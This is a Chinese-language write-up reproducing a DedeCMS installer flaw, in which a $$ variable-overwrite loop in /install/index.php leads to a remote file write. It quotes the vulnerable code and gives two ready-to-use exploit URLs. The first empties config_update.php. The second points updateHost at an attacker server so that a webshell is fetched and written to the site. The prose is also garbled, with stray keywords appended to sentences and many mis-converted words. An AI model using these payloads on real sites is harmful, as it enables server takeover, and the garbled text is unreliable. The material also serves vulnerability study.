漏洞在/install/index.php(index.php.bak)文件中,漏洞原由是$$符号使用不当,致使变量覆盖以致于最后引发远程文件包含漏洞。php
看代码的18-39行html
$insLockfile = dirname(__FILE__).'/install_lock.txt'; $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc'; define('DEDEINC',dirname(__FILE__).'/../include'); define('DEDEDATA',dirname(__FILE__).'/../data'); define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__))); header("Content-Type: text/html; charset={$s_lang}"); require_once(DEDEROOT.'/install/install.inc.php'); require_once(DEDEINC.'/zip.class.php'); foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } require_once(DEDEINC.'/common.func.php'); if(file_exists($insLockfile)) { exit(" 程序已运行安装,若是你肯定要从新安装,请先从FTP中删除 install/install_lock.txt!"); }
红色标记的代码段就是变量覆盖产生的地方,大体意思是将get,post或者cookie方式传入的值经过foreach以键值对的方式输出,例如在url中输入 ?str=hello,则$_k的值就是str,$_v的值就是hello 因此 ${$_K}就是$str,这里很明显的变量覆盖了。后面的RunMagicQuotes函数在另外一个文件中定义的,在这里理解为返回参数内容就行了。web
只有变量覆盖漏洞暂时还不够,咱们接着往下看。跳到代码的最后几行(373-387)sql
else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您能够选择安装进行体验)'; else echo ' <font color="red">[×]</font> 远程获取失败'; unset($sql_content); fclose($fp); exit(); }
这段代码块引入了 /data/admin/config_update.php文件,文件内容为shell
<?php /** * 更新服务器,若是有变更,请到 http://bbs.dedecms.com 查询 * * @version $Id: config_update.php 1 11:36 2011-2-21 tianya $ * @package DedeCMS.Administrator * @copyright Copyright (c) 2007 - 2010, DesDev, Inc. * @license http://help.dedecms.com/usersguide/license.html * @link http://www.dedecms.com */ //更新服务器,若是有变更,请到 http://bbs.dedecms.com 查询 $updateHost = 'http://updatenew.dedecms.com/base-v57/'; $linkHost = 'http://flink.dedecms.com/server_url.php';
这里定义了变量updateHost,继续看373-387行代码,$updateHost与"dedecms/demodata.{$s_lang}.txt"拼接为字符串,并利用file_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name = 'dedev57demo.txt'文件中,所以咱们能够结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。因为$updateHost变量是引入进来的因此不能直接进行覆盖,须要先将config_update.php文件清空再包含。服务器
访问/install/index.php(index.php.bak),查看文件是否存在。cookie
存在。构造payload再次访问,此时清空config_update.php文件。ide
/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../data/admin/config_update.php函数
能够看到文件已经被清空,这时咱们就能够利用变量覆盖来远程包含咱们的文件了。post
/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../shell.php&updateHost=http://127.0.0.1/
至此漏洞复现成功。